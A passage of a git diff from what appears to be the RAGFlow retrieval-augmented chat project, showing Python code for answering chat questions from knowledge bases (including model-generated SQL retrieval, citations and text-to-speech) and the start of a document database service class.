settings.retrievaler + questions = [m["content"] for m in messages if m["role"] == "user"][-3:] + attachments = kwargs["doc_ids"].split(",") if "doc_ids" in kwargs else [] + if "doc_ids" in messages[-1]: + attachments = messages[-1]["doc_ids"] + + prompt_config = dialog.prompt_config + field_map = KnowledgebaseService.get_field_map(dialog.kb_ids) + # try to use sql if field mapping is good to go + if field_map: + logging.debug("Use SQL to retrieval:{}".format(questions[-1])) + ans = use_sql(questions[-1], field_map, dialog.tenant_id, chat_mdl, prompt_config.get("quote", True), dialog.kb_ids) + if ans: + yield ans + return + + for p in prompt_config["parameters"]: + if p["key"] == "knowledge": + continue + if p["key"] not in kwargs and not p["optional"]: + raise KeyError("Miss parameter: " + p["key"]) + if p["key"] not in kwargs: + prompt_config["system"] = prompt_config["system"].replace("{%s}" % p["key"], " ") + + if len(questions) > 1 and prompt_config.get("refine_multiturn"): + questions = [full_question(dialog.tenant_id, dialog.llm_id, messages)] + else: + questions = questions[-1:] + + if prompt_config.get("cross_languages"): + questions = [cross_languages(dialog.tenant_id, dialog.llm_id, questions[0], prompt_config["cross_languages"])] + + if dialog.meta_data_filter: + metas = DocumentService.get_meta_by_kbs(dialog.kb_ids) + if dialog.meta_data_filter.get("method") == "auto": + filters = gen_meta_filter(chat_mdl, metas, questions[-1]) + attachments.extend(meta_filter(metas, filters)) + if not attachments: + attachments = None + elif dialog.meta_data_filter.get("method") == "manual": + attachments.extend(meta_filter(metas, dialog.meta_data_filter["manual"])) + if not attachments: + attachments = None + + if prompt_config.get("keyword", False): + questions[-1] += keyword_extraction(chat_mdl, questions[-1]) + + refine_question_ts = timer() + + thought = "" + kbinfos = {"total": 0, "chunks": [], "doc_aggs": []} + knowledges = [] + + if attachments is not None and "knowledge" in [p["key"] for p in prompt_config["parameters"]]: + tenant_ids = list(set([kb.tenant_id for kb in kbs])) + knowledges = [] + if prompt_config.get("reasoning", False): + reasoner = DeepResearcher( + chat_mdl, + prompt_config, + partial( + retriever.retrieval, + embd_mdl=embd_mdl, + tenant_ids=tenant_ids, + kb_ids=dialog.kb_ids, + page=1, + page_size=dialog.top_n, + similarity_threshold=0.2, + vector_similarity_weight=0.3, + doc_ids=attachments, + ), + ) + + for think in reasoner.thinking(kbinfos, " ".join(questions)): + if isinstance(think, str): + thought = think + knowledges = [t for t in think.split("\n") if t] + elif stream: + yield think + else: + if embd_mdl: + kbinfos = retriever.retrieval( + " ".join(questions), + embd_mdl, + tenant_ids, + dialog.kb_ids, + 1, + dialog.top_n, + dialog.similarity_threshold, + dialog.vector_similarity_weight, + doc_ids=attachments, + top=dialog.top_k, + aggs=False, + rerank_mdl=rerank_mdl, + rank_feature=label_question(" ".join(questions), kbs), + ) + if prompt_config.get("tavily_api_key"): + tav = Tavily(prompt_config["tavily_api_key"]) + tav_res = tav.retrieve_chunks(" ".join(questions)) + kbinfos["chunks"].extend(tav_res["chunks"]) + kbinfos["doc_aggs"].extend(tav_res["doc_aggs"]) + if prompt_config.get("use_kg"): + ck = settings.kg_retrievaler.retrieval(" ".join(questions), tenant_ids, dialog.kb_ids, embd_mdl, + LLMBundle(dialog.tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + kbinfos["chunks"].insert(0, ck) + + knowledges = kb_prompt(kbinfos, max_tokens) + + logging.debug("{}->{}".format(" ".join(questions), "\n->".join(knowledges))) + + retrieval_ts = timer() + if not knowledges and prompt_config.get("empty_response"): + empty_res = prompt_config["empty_response"] + yield {"answer": empty_res, "reference": kbinfos, "prompt": "\n\n### Query:\n%s" % " ".join(questions), + "audio_binary": tts(tts_mdl, empty_res)} + return {"answer": prompt_config["empty_response"], "reference": kbinfos} + + kwargs["knowledge"] = "\n------\n" + "\n\n------\n\n".join(knowledges) + gen_conf = dialog.llm_setting + + msg = [{"role": "system", "content": prompt_config["system"].format(**kwargs)}] + prompt4citation = "" + if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)): + prompt4citation = citation_prompt() + msg.extend([{"role": m["role"], "content": re.sub(r"##\d+\$\$", "", m["content"])} for m in messages if m["role"] != "system"]) + used_token_count, msg = message_fit_in(msg, int(max_tokens * 0.95)) + assert len(msg) >= 2, f"message_fit_in has bug: {msg}" + prompt = msg[0]["content"] + + if "max_tokens" in gen_conf: + gen_conf["max_tokens"] = min(gen_conf["max_tokens"], max_tokens - used_token_count) + + def decorate_answer(answer): + nonlocal embd_mdl, prompt_config, knowledges, kwargs, kbinfos, prompt, retrieval_ts, questions, langfuse_tracer + + refs = [] + ans = answer.split("") + think = "" + if len(ans) == 2: + think = ans[0] + "" + answer = ans[1] + + if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)): + idx = set([]) + if embd_mdl and not re.search(r"\[ID:([0-9]+)\]", answer): + answer, idx = retriever.insert_citations( + answer, + [ck["content_ltks"] for ck in kbinfos["chunks"]], + [ck["vector"] for ck in kbinfos["chunks"]], + embd_mdl, + tkweight=1 - dialog.vector_similarity_weight, + vtweight=dialog.vector_similarity_weight, + ) + else: + for match in re.finditer(r"\[ID:([0-9]+)\]", answer): + i = int(match.group(1)) + if i < len(kbinfos["chunks"]): + idx.add(i) + + answer, idx = repair_bad_citation_formats(answer, kbinfos, idx) + + idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx]) + recall_docs = [d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx] + if not recall_docs: + recall_docs = kbinfos["doc_aggs"] + kbinfos["doc_aggs"] = recall_docs + + refs = deepcopy(kbinfos) + for c in refs["chunks"]: + if c.get("vector"): + del c["vector"] + + if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0: + answer += " Please set LLM API-Key in 'User Setting -> Model providers -> API-Key'" + finish_chat_ts = timer() + + total_time_cost = (finish_chat_ts - chat_start_ts) * 1000 + check_llm_time_cost = (check_llm_ts - chat_start_ts) * 1000 + check_langfuse_tracer_cost = (check_langfuse_tracer_ts - check_llm_ts) * 1000 + bind_embedding_time_cost = (bind_models_ts - check_langfuse_tracer_ts) * 1000 + refine_question_time_cost = (refine_question_ts - bind_models_ts) * 1000 + retrieval_time_cost = (retrieval_ts - refine_question_ts) * 1000 + generate_result_time_cost = (finish_chat_ts - retrieval_ts) * 1000 + + tk_num = num_tokens_from_string(think + answer) + prompt += "\n\n### Query:\n%s" % " ".join(questions) + prompt = ( + f"{prompt}\n\n" + "## Time elapsed:\n" + f" - Total: {total_time_cost:.1f}ms\n" + f" - Check LLM: {check_llm_time_cost:.1f}ms\n" + f" - Check Langfuse tracer: {check_langfuse_tracer_cost:.1f}ms\n" + f" - Bind models: {bind_embedding_time_cost:.1f}ms\n" + f" - Query refinement(LLM): {refine_question_time_cost:.1f}ms\n" + f" - Retrieval: {retrieval_time_cost:.1f}ms\n" + f" - Generate answer: {generate_result_time_cost:.1f}ms\n\n" + "## Token usage:\n" + f" - Generated tokens(approximately): {tk_num}\n" + f" - Token speed: {int(tk_num / (generate_result_time_cost / 1000.0))}/s" + ) + + # Add a condition check to call the end method only if langfuse_tracer exists + if langfuse_tracer and "langfuse_generation" in locals(): + langfuse_output = "\n" + re.sub(r"^.*?(### Query:.*)", r"\1", prompt, flags=re.DOTALL) + langfuse_output = {"time_elapsed:": re.sub(r"\n", " \n", langfuse_output), "created_at": time.time()} + langfuse_generation.update(output=langfuse_output) + langfuse_generation.end() + + return {"answer": think + answer, "reference": refs, "prompt": re.sub(r"\n", " \n", prompt), "created_at": time.time()} + + if langfuse_tracer: + langfuse_generation = langfuse_tracer.start_generation( + trace_context=trace_context, name="chat", model=llm_model_config["llm_name"], + input={"prompt": prompt, "prompt4citation": prompt4citation, "messages": msg} + ) + + if stream: + last_ans = "" + answer = "" + for ans in chat_mdl.chat_streamly(prompt + prompt4citation, msg[1:], gen_conf): + if thought: + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + answer = ans + delta_ans = ans[len(last_ans):] + if num_tokens_from_string(delta_ans) < 16: + continue + last_ans = answer + yield {"answer": thought + answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans)} + delta_ans = answer[len(last_ans):] + if delta_ans: + yield {"answer": thought + answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans)} + yield decorate_answer(thought + answer) + else: + answer = chat_mdl.chat(prompt + prompt4citation, msg[1:], gen_conf) + user_content = msg[-1].get("content", "[content not available]") + logging.debug("User: {}|Assistant: {}".format(user_content, answer)) + res = decorate_answer(answer) + res["audio_binary"] = tts(tts_mdl, answer) + yield res + + +def use_sql(question, field_map, tenant_id, chat_mdl, quota=True, kb_ids=None): + sys_prompt = "You are a Database Administrator. You need to check the fields of the following tables based on the user's list of questions and write the SQL corresponding to the last question." + user_prompt = """ +Table name: {}; +Table of database fields are as follows: +{} + +Question are as follows: +{} +Please write the SQL, only SQL, without any other explanations or text. +""".format(index_name(tenant_id), "\n".join([f"{k}: {v}" for k, v in field_map.items()]), question) + tried_times = 0 + + def get_table(): + nonlocal sys_prompt, user_prompt, question, tried_times + sql = chat_mdl.chat(sys_prompt, [{"role": "user", "content": user_prompt}], {"temperature": 0.06}) + sql = re.sub(r"^.*", "", sql, flags=re.DOTALL) + logging.debug(f"{question} ==> {user_prompt} get SQL: {sql}") + sql = re.sub(r"[\r\n]+", " ", sql.lower()) + sql = re.sub(r".*select ", "select ", sql.lower()) + sql = re.sub(r" +", " ", sql) + sql = re.sub(r"([;；]|```).*", "", sql) + if sql[: len("select ")] != "select ": + return None, None + if not re.search(r"((sum|avg|max|min)\(|group by )", sql.lower()): + if sql[: len("select *")] != "select *": + sql = "select doc_id,docnm_kwd," + sql[6:] + else: + flds = [] + for k in field_map.keys(): + if k in forbidden_select_fields4resume: + continue + if len(flds) > 11: + break + flds.append(k) + sql = "select doc_id,docnm_kwd," + ",".join(flds) + sql[8:] + + if kb_ids: + kb_filter = "(" + " OR ".join([f"kb_id = '{kb_id}'" for kb_id in kb_ids]) + ")" + if "where" not in sql.lower(): + sql += f" WHERE {kb_filter}" + else: + sql += f" AND {kb_filter}" + + logging.debug(f"{question} get SQL(refined): {sql}") + tried_times += 1 + return settings.retrievaler.sql_retrieval(sql, format="json"), sql + + tbl, sql = get_table() + if tbl is None: + return None + if tbl.get("error") and tried_times <= 2: + user_prompt = """ + Table name: {}; + Table of database fields are as follows: + {} + + Question are as follows: + {} + Please write the SQL, only SQL, without any other explanations or text. + + + The SQL error you provided last time is as follows: + {} + + Error issued by database as follows: + {} + + Please correct the error and write SQL again, only SQL, without any other explanations or text. + """.format(index_name(tenant_id), "\n".join([f"{k}: {v}" for k, v in field_map.items()]), question, sql, tbl["error"]) + tbl, sql = get_table() + logging.debug("TRY it again: {}".format(sql)) + + logging.debug("GET table: {}".format(tbl)) + if tbl.get("error") or len(tbl["rows"]) == 0: + return None + + docid_idx = set([ii for ii, c in enumerate(tbl["columns"]) if c["name"] == "doc_id"]) + doc_name_idx = set([ii for ii, c in enumerate(tbl["columns"]) if c["name"] == "docnm_kwd"]) + column_idx = [ii for ii in range(len(tbl["columns"])) if ii not in (docid_idx | doc_name_idx)] + + # compose Markdown table + columns = ( + "|" + "|".join( + [re.sub(r"(/.*|（[^（）]+）)", "", field_map.get(tbl["columns"][i]["name"], tbl["columns"][i]["name"])) for i in column_idx]) + ( + "|Source|" if docid_idx and docid_idx else "|") + ) + + line = "|" + "|".join(["------" for _ in range(len(column_idx))]) + ("|------|" if docid_idx and docid_idx else "") + + rows = ["|" + "|".join([rmSpace(str(r[i])) for i in column_idx]).replace("None", " ") + "|" for r in tbl["rows"]] + rows = [r for r in rows if re.sub(r"[ |]+", "", r)] + if quota: + rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)]) + else: + rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)]) + rows = re.sub(r"T[0-9]{2}:[0-9]{2}:[0-9]{2}(\.[0-9]+Z)?\|", "|", rows) + + if not docid_idx or not doc_name_idx: + logging.warning("SQL missing field: " + sql) + return {"answer": "\n".join([columns, line, rows]), "reference": {"chunks": [], "doc_aggs": []}, "prompt": sys_prompt} + + docid_idx = list(docid_idx)[0] + doc_name_idx = list(doc_name_idx)[0] + doc_aggs = {} + for r in tbl["rows"]: + if r[docid_idx] not in doc_aggs: + doc_aggs[r[docid_idx]] = {"doc_name": r[doc_name_idx], "count": 0} + doc_aggs[r[docid_idx]]["count"] += 1 + return { + "answer": "\n".join([columns, line, rows]), + "reference": { + "chunks": [{"doc_id": r[docid_idx], "docnm_kwd": r[doc_name_idx]} for r in tbl["rows"]], + "doc_aggs": [{"doc_id": did, "doc_name": d["doc_name"], "count": d["count"]} for did, d in doc_aggs.items()], + }, + "prompt": sys_prompt, + } + + +def tts(tts_mdl, text): + if not tts_mdl or not text: + return + bin = b"" + for chunk in tts_mdl.tts(text): + bin += chunk + return binascii.hexlify(bin).decode("utf-8") + + +def ask(question, kb_ids, tenant_id, chat_llm_name=None, search_config={}): + doc_ids = search_config.get("doc_ids", []) + rerank_mdl = None + kb_ids = search_config.get("kb_ids", kb_ids) + chat_llm_name = search_config.get("chat_id", chat_llm_name) + rerank_id = search_config.get("rerank_id", "") + meta_data_filter = search_config.get("meta_data_filter") + + kbs = KnowledgebaseService.get_by_ids(kb_ids) + embedding_list = list(set([kb.embd_id for kb in kbs])) + + is_knowledge_graph = all([kb.parser_id == ParserType.KG for kb in kbs]) + retriever = settings.retrievaler if not is_knowledge_graph else settings.kg_retrievaler + + embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, embedding_list[0]) + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, chat_llm_name) + if rerank_id: + rerank_mdl = LLMBundle(tenant_id, LLMType.RERANK, rerank_id) + max_tokens = chat_mdl.max_length + tenant_ids = list(set([kb.tenant_id for kb in kbs])) + + if meta_data_filter: + metas = DocumentService.get_meta_by_kbs(kb_ids) + if meta_data_filter.get("method") == "auto": + filters = gen_meta_filter(chat_mdl, metas, question) + doc_ids.extend(meta_filter(metas, filters)) + if not doc_ids: + doc_ids = None + elif meta_data_filter.get("method") == "manual": + doc_ids.extend(meta_filter(metas, meta_data_filter["manual"])) + if not doc_ids: + doc_ids = None + + kbinfos = retriever.retrieval( + question=question, + embd_mdl=embd_mdl, + tenant_ids=tenant_ids, + kb_ids=kb_ids, + page=1, + page_size=12, + similarity_threshold=search_config.get("similarity_threshold", 0.1), + vector_similarity_weight=search_config.get("vector_similarity_weight", 0.3), + top=search_config.get("top_k", 1024), + doc_ids=doc_ids, + aggs=False, + rerank_mdl=rerank_mdl, + rank_feature=label_question(question, kbs) + ) + + knowledges = kb_prompt(kbinfos, max_tokens) + sys_prompt = PROMPT_JINJA_ENV.from_string(ASK_SUMMARY).render(knowledge="\n".join(knowledges)) + + msg = [{"role": "user", "content": question}] + + def decorate_answer(answer): + nonlocal knowledges, kbinfos, sys_prompt + answer, idx = retriever.insert_citations(answer, [ck["content_ltks"] for ck in kbinfos["chunks"]], [ck["vector"] for ck in kbinfos["chunks"]], + embd_mdl, tkweight=0.7, vtweight=0.3) + idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx]) + recall_docs = [d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx] + if not recall_docs: + recall_docs = kbinfos["doc_aggs"] + kbinfos["doc_aggs"] = recall_docs + refs = deepcopy(kbinfos) + for c in refs["chunks"]: + if c.get("vector"): + del c["vector"] + + if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0: + answer += " Please set LLM API-Key in 'User Setting -> Model Providers -> API-Key'" + refs["chunks"] = chunks_format(refs) + return {"answer": answer, "reference": refs} + + answer = "" + for ans in chat_mdl.chat_streamly(sys_prompt, msg, {"temperature": 0.1}): + answer = ans + yield {"answer": answer, "reference": {}} + yield decorate_answer(answer) + + +def gen_mindmap(question, kb_ids, tenant_id, search_config={}): + meta_data_filter = search_config.get("meta_data_filter", {}) + doc_ids = search_config.get("doc_ids", []) + rerank_id = search_config.get("rerank_id", "") + rerank_mdl = None + kbs = KnowledgebaseService.get_by_ids(kb_ids) + if not kbs: + return {"error": "No KB selected"} + embedding_list = list(set([kb.embd_id for kb in kbs])) + tenant_ids = list(set([kb.tenant_id for kb in kbs])) + + embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, llm_name=embedding_list[0]) + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_name=search_config.get("chat_id", "")) + if rerank_id: + rerank_mdl = LLMBundle(tenant_id, LLMType.RERANK, rerank_id) + + if meta_data_filter: + metas = DocumentService.get_meta_by_kbs(kb_ids) + if meta_data_filter.get("method") == "auto": + filters = gen_meta_filter(chat_mdl, metas, question) + doc_ids.extend(meta_filter(metas, filters)) + if not doc_ids: + doc_ids = None + elif meta_data_filter.get("method") == "manual": + doc_ids.extend(meta_filter(metas, meta_data_filter["manual"])) + if not doc_ids: + doc_ids = None + + ranks = settings.retrievaler.retrieval( + question=question, + embd_mdl=embd_mdl, + tenant_ids=tenant_ids, + kb_ids=kb_ids, + page=1, + page_size=12, + similarity_threshold=search_config.get("similarity_threshold", 0.2), + vector_similarity_weight=search_config.get("vector_similarity_weight", 0.3), + top=search_config.get("top_k", 1024), + doc_ids=doc_ids, + aggs=False, + rerank_mdl=rerank_mdl, + rank_feature=label_question(question, kbs), + ) + mindmap = MindMapExtractor(chat_mdl) + mind_map = trio.run(mindmap, [c["content_with_weight"] for c in ranks["chunks"]]) + return mind_map.output diff --git a/api/db/services/document_service.py b/api/db/services/document_service.py new file mode 100644 index 0000000..61d1c6e --- /dev/null +++ b/api/db/services/document_service.py @@ -0,0 +1,975 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import random +import re +from concurrent.futures import ThreadPoolExecutor +from copy import deepcopy +from datetime import datetime +from io import BytesIO + +import trio +import xxhash +from peewee import fn, Case, JOIN + +from api import settings +from api.constants import IMG_BASE64_PREFIX, FILE_NAME_LEN_LIMIT +from api.db import FileType, LLMType, ParserType, StatusEnum, TaskStatus, UserTenantRole, CanvasCategory +from api.db.db_models import DB, Document, Knowledgebase, Task, Tenant, UserTenant, File2Document, File, UserCanvas, \ + User +from api.db.db_utils import bulk_insert_into_db +from api.db.services.common_service import CommonService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.utils import current_timestamp, get_format_time, get_uuid +from rag.nlp import rag_tokenizer, search +from rag.settings import get_svr_queue_name, SVR_CONSUMER_GROUP_NAME +from rag.utils.redis_conn import REDIS_CONN +from rag.utils.storage_factory import STORAGE_IMPL +from rag.utils.doc_store_conn import OrderByExpr + + +class DocumentService(CommonService): + model = Document + + @classmethod + def get_cls_model_fields(cls): + return [ + cls.model.id, + cls.model.thumbnail, + cls.model.kb_id, + cls.model.parser_id, + cls.model.pipeline_id, + cls.model.parser_config, + cls.model.source_type, + cls.model.type, + cls.model.created_by, + cls.model.name, + cls.model.location, + cls.model.size, + cls.model.token_num, + cls.model.chunk_num, + cls.model.progress, + cls.model.progress_msg, + cls.model.process_begin_at, + cls.model.process_duration, + cls.model.meta_fields, + cls.model.suffix, + cls.model.run, + cls.model.status, + cls.model.create_time, + cls.model.create_date, + cls.model.update_time, + cls.model.update_date, + ] + + @classmethod + @DB.connection_context() + def get_list(cls, kb_id, page_number, items_per_page, + orderby, desc, keywords, id, name): + fields = cls.get_cls_model_fields() + docs = cls.model.select(*[*fields, UserCanvas.title]).join(File2Document, on = (File2Document.document_id == cls.model.id))\ + .join(File, on = (File.id == File2Document.file_id))\ + .join(UserCanvas, on = ((cls.model.pipeline_id == UserCanvas.id) & (UserCanvas.canvas_category == CanvasCategory.DataFlow.value)), join_type=JOIN.LEFT_OUTER)\ + .where(cls.model.kb_id == kb_id) + if id: + docs = docs.where( + cls.model.id == id) + if name: + docs = docs.where( + cls.model.name == name + ) + if keywords: + docs = docs.where( + fn.LOWER(cls.model.name).contains(keywords.lower()) + ) + if desc: + docs = docs.order_by(cls.model.getter_by(orderby).desc()) + else: + docs = docs.order_by(cls.model.getter_by(orderby).asc()) + + count = docs.count() + docs = docs.paginate(page_number, items_per_page) + return list(docs.dicts()), count + + @classmethod + @DB.connection_context() + def check_doc_health(cls, tenant_id: str, filename): + import os + MAX_FILE_NUM_PER_USER = int(os.environ.get("MAX_FILE_NUM_PER_USER", 0)) + if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(tenant_id) >= MAX_FILE_NUM_PER_USER: + raise RuntimeError("Exceed the maximum file number of a free user!") + if len(filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT: + raise RuntimeError("Exceed the maximum length of file name!") + return True + + @classmethod + @DB.connection_context() + def get_by_kb_id(cls, kb_id, page_number, items_per_page, + orderby, desc, keywords, run_status, types, suffix): + fields = cls.get_cls_model_fields() + if keywords: + docs = cls.model.select(*[*fields, UserCanvas.title.alias("pipeline_name"), User.nickname])\ + .join(File2Document, on=(File2Document.document_id == cls.model.id))\ + .join(File, on=(File.id == File2Document.file_id))\ + .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\ + .join(User, on=(cls.model.created_by == User.id), join_type=JOIN.LEFT_OUTER)\ + .where( + (cls.model.kb_id == kb_id), + (fn.LOWER(cls.model.name).contains(keywords.lower())) + ) + else: + docs = cls.model.select(*[*fields, UserCanvas.title.alias("pipeline_name"), User.nickname])\ + .join(File2Document, on=(File2Document.document_id == cls.model.id))\ + .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\ + .join(File, on=(File.id == File2Document.file_id))\ + .join(User, on=(cls.model.created_by == User.id), join_type=JOIN.LEFT_OUTER)\ + .where(cls.model.kb_id == kb_id) + + if run_status: + docs = docs.where(cls.model.run.in_(run_status)) + if types: + docs = docs.where(cls.model.type.in_(types)) + if suffix: + docs = docs.where(cls.model.suffix.in_(suffix)) + + count = docs.count() + if desc: + docs = docs.order_by(cls.model.getter_by(orderby).desc()) + else: + docs = docs.order_by(cls.model.getter_by(orderby).asc()) + + + if page_number and items_per_page: + docs = docs.paginate(page_number, items_per_page) + + return list(docs.dicts()), count + + @classmethod + @DB.connection_context() + def get_filter_by_kb_id(cls, kb_id, keywords, run_status, types, suffix): + """ + returns: + { + "suffix": { + "ppt": 1, + "doxc": 2 + }, + "run_status": { + "1": 2, + "2": 2 + } + }, total + where "1" => RUNNING, "2" => CANCEL + """ + fields = cls.get_cls_model_fields() + if keywords: + query = cls.model.select(*fields).join(File2Document, on=(File2Document.document_id == cls.model.id)).join(File, on=(File.id == File2Document.file_id)).where( + (cls.model.kb_id == kb_id), + (fn.LOWER(cls.model.name).contains(keywords.lower())) + ) + else: + query = cls.model.select(*fields).join(File2Document, on=(File2Document.document_id == cls.model.id)).join(File, on=(File.id == File2Document.file_id)).where(cls.model.kb_id == kb_id) + + + if run_status: + query = query.where(cls.model.run.in_(run_status)) + if types: + query = query.where(cls.model.type.in_(types)) + if suffix: + query = query.where(cls.model.suffix.in_(suffix)) + + rows = query.select(cls.model.run, cls.model.suffix) + total = rows.count() + + suffix_counter = {} + run_status_counter = {} + + for row in rows: + suffix_counter[row.suffix] = suffix_counter.get(row.suffix, 0) + 1 + run_status_counter[str(row.run)] = run_status_counter.get(str(row.run), 0) + 1 + + return { + "suffix": suffix_counter, + "run_status": run_status_counter + }, total + + @classmethod + @DB.connection_context() + def count_by_kb_id(cls, kb_id, keywords, run_status, types): + if keywords: + docs = cls.model.select().where( + (cls.model.kb_id == kb_id), + (fn.LOWER(cls.model.name).contains(keywords.lower())) + ) + else: + docs = cls.model.select().where(cls.model.kb_id == kb_id) + + if run_status: + docs = docs.where(cls.model.run.in_(run_status)) + if types: + docs = docs.where(cls.model.type.in_(types)) + + count = docs.count() + + return count + + @classmethod + @DB.connection_context() + def get_total_size_by_kb_id(cls, kb_id, keywords="", run_status=[], types=[]): + query = cls.model.select(fn.COALESCE(fn.SUM(cls.model.size), 0)).where( + cls.model.kb_id == kb_id + ) + + if keywords: + query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower())) + if run_status: + query = query.where(cls.model.run.in_(run_status)) + if types: + query = query.where(cls.model.type.in_(types)) + + return int(query.scalar()) or 0 + + @classmethod + @DB.connection_context() + def get_all_doc_ids_by_kb_ids(cls, kb_ids): + fields = [cls.model.id] + docs = cls.model.select(*fields).where(cls.model.kb_id.in_(kb_ids)) + docs.order_by(cls.model.create_time.asc()) + # maybe cause slow query by deep paginate, optimize later + offset, limit = 0, 100 + res = [] + while True: + doc_batch = docs.offset(offset).limit(limit) + _temp = list(doc_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def get_all_docs_by_creator_id(cls, creator_id): + fields = [ + cls.model.id, cls.model.kb_id, cls.model.token_num, cls.model.chunk_num, Knowledgebase.tenant_id + ] + docs = cls.model.select(*fields).join(Knowledgebase, on=(Knowledgebase.id == cls.model.kb_id)).where( + cls.model.created_by == creator_id + ) + docs.order_by(cls.model.create_time.asc()) + # maybe cause slow query by deep paginate, optimize later + offset, limit = 0, 100 + res = [] + while True: + doc_batch = docs.offset(offset).limit(limit) + _temp = list(doc_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def insert(cls, doc): + if not cls.save(**doc): + raise RuntimeError("Database error (Document)!") + if not KnowledgebaseService.atomic_increase_doc_num_by_id(doc["kb_id"]): + raise RuntimeError("Database error (Knowledgebase)!") + return Document(**doc) + + @classmethod + @DB.connection_context() + def remove_document(cls, doc, tenant_id): + from api.db.services.task_service import TaskService + cls.clear_chunk_num(doc.id) + try: + TaskService.filter_delete([Task.doc_id == doc.id]) + page = 0 + page_size = 1000 + all_chunk_ids = [] + while True: + chunks = settings.docStoreConn.search(["img_id"], [], {"doc_id": doc.id}, [], OrderByExpr(), + page * page_size, page_size, search.index_name(tenant_id), + [doc.kb_id]) + chunk_ids = settings.docStoreConn.getChunkIds(chunks) + if not chunk_ids: + break + all_chunk_ids.extend(chunk_ids) + page += 1 + for cid in all_chunk_ids: + if STORAGE_IMPL.obj_exist(doc.kb_id, cid): + STORAGE_IMPL.rm(doc.kb_id, cid) + if doc.thumbnail and not doc.thumbnail.startswith(IMG_BASE64_PREFIX): + if STORAGE_IMPL.obj_exist(doc.kb_id, doc.thumbnail): + STORAGE_IMPL.rm(doc.kb_id, doc.thumbnail) + settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), doc.kb_id) + + graph_source = settings.docStoreConn.getFields( + settings.docStoreConn.search(["source_id"], [], {"kb_id": doc.kb_id, "knowledge_graph_kwd": ["graph"]}, [], OrderByExpr(), 0, 1, search.index_name(tenant_id), [doc.kb_id]), ["source_id"] + ) + if len(graph_source) > 0 and doc.id in list(graph_source.values())[0]["source_id"]: + settings.docStoreConn.update({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["entity", "relation", "graph", "subgraph", "community_report"], "source_id": doc.id}, + {"remove": {"source_id": doc.id}}, + search.index_name(tenant_id), doc.kb_id) + settings.docStoreConn.update({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["graph"]}, + {"removed_kwd": "Y"}, + search.index_name(tenant_id), doc.kb_id) + settings.docStoreConn.delete({"kb_id": doc.kb_id, "knowledge_graph_kwd": ["entity", "relation", "graph", "subgraph", "community_report"], "must_not": {"exists": "source_id"}}, + search.index_name(tenant_id), doc.kb_id) + except Exception: + pass + return cls.delete_by_id(doc.id) + + @classmethod + @DB.connection_context() + def get_newly_uploaded(cls): + fields = [ + cls.model.id, + cls.model.kb_id, + cls.model.parser_id, + cls.model.parser_config, + cls.model.name, + cls.model.type, + cls.model.location, + cls.model.size, + Knowledgebase.tenant_id, + Tenant.embd_id, + Tenant.img2txt_id, + Tenant.asr_id, + cls.model.update_time] + docs = cls.model.select(*fields) \ + .join(Knowledgebase, on=(cls.model.kb_id == Knowledgebase.id)) \ + .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id)) \ + .where( + cls.model.status == StatusEnum.VALID.value, + ~(cls.model.type == FileType.VIRTUAL.value), + cls.model.progress == 0, + cls.model.update_time >= current_timestamp() - 1000 * 600, + cls.model.run == TaskStatus.RUNNING.value) \ + .order_by(cls.model.update_time.asc()) + return list(docs.dicts()) + + @classmethod + @DB.connection_context() + def get_unfinished_docs(cls): + fields = [cls.model.id, cls.model.process_begin_at, cls.model.parser_config, cls.model.progress_msg, + cls.model.run, cls.model.parser_id] + docs = cls.model.select(*fields) \ + .where( + cls.model.status == StatusEnum.VALID.value, + ~(cls.model.type == FileType.VIRTUAL.value), + cls.model.progress < 1, + cls.model.progress > 0) + return list(docs.dicts()) + + @classmethod + @DB.connection_context() + def increment_chunk_num(cls, doc_id, kb_id, token_num, chunk_num, duration): + num = cls.model.update(token_num=cls.model.token_num + token_num, + chunk_num=cls.model.chunk_num + chunk_num, + process_duration=cls.model.process_duration + duration).where( + cls.model.id == doc_id).execute() + if num == 0: + logging.warning("Document not found which is supposed to be there") + num = Knowledgebase.update( + token_num=Knowledgebase.token_num + + token_num, + chunk_num=Knowledgebase.chunk_num + + chunk_num).where( + Knowledgebase.id == kb_id).execute() + return num + + @classmethod + @DB.connection_context() + def decrement_chunk_num(cls, doc_id, kb_id, token_num, chunk_num, duration): + num = 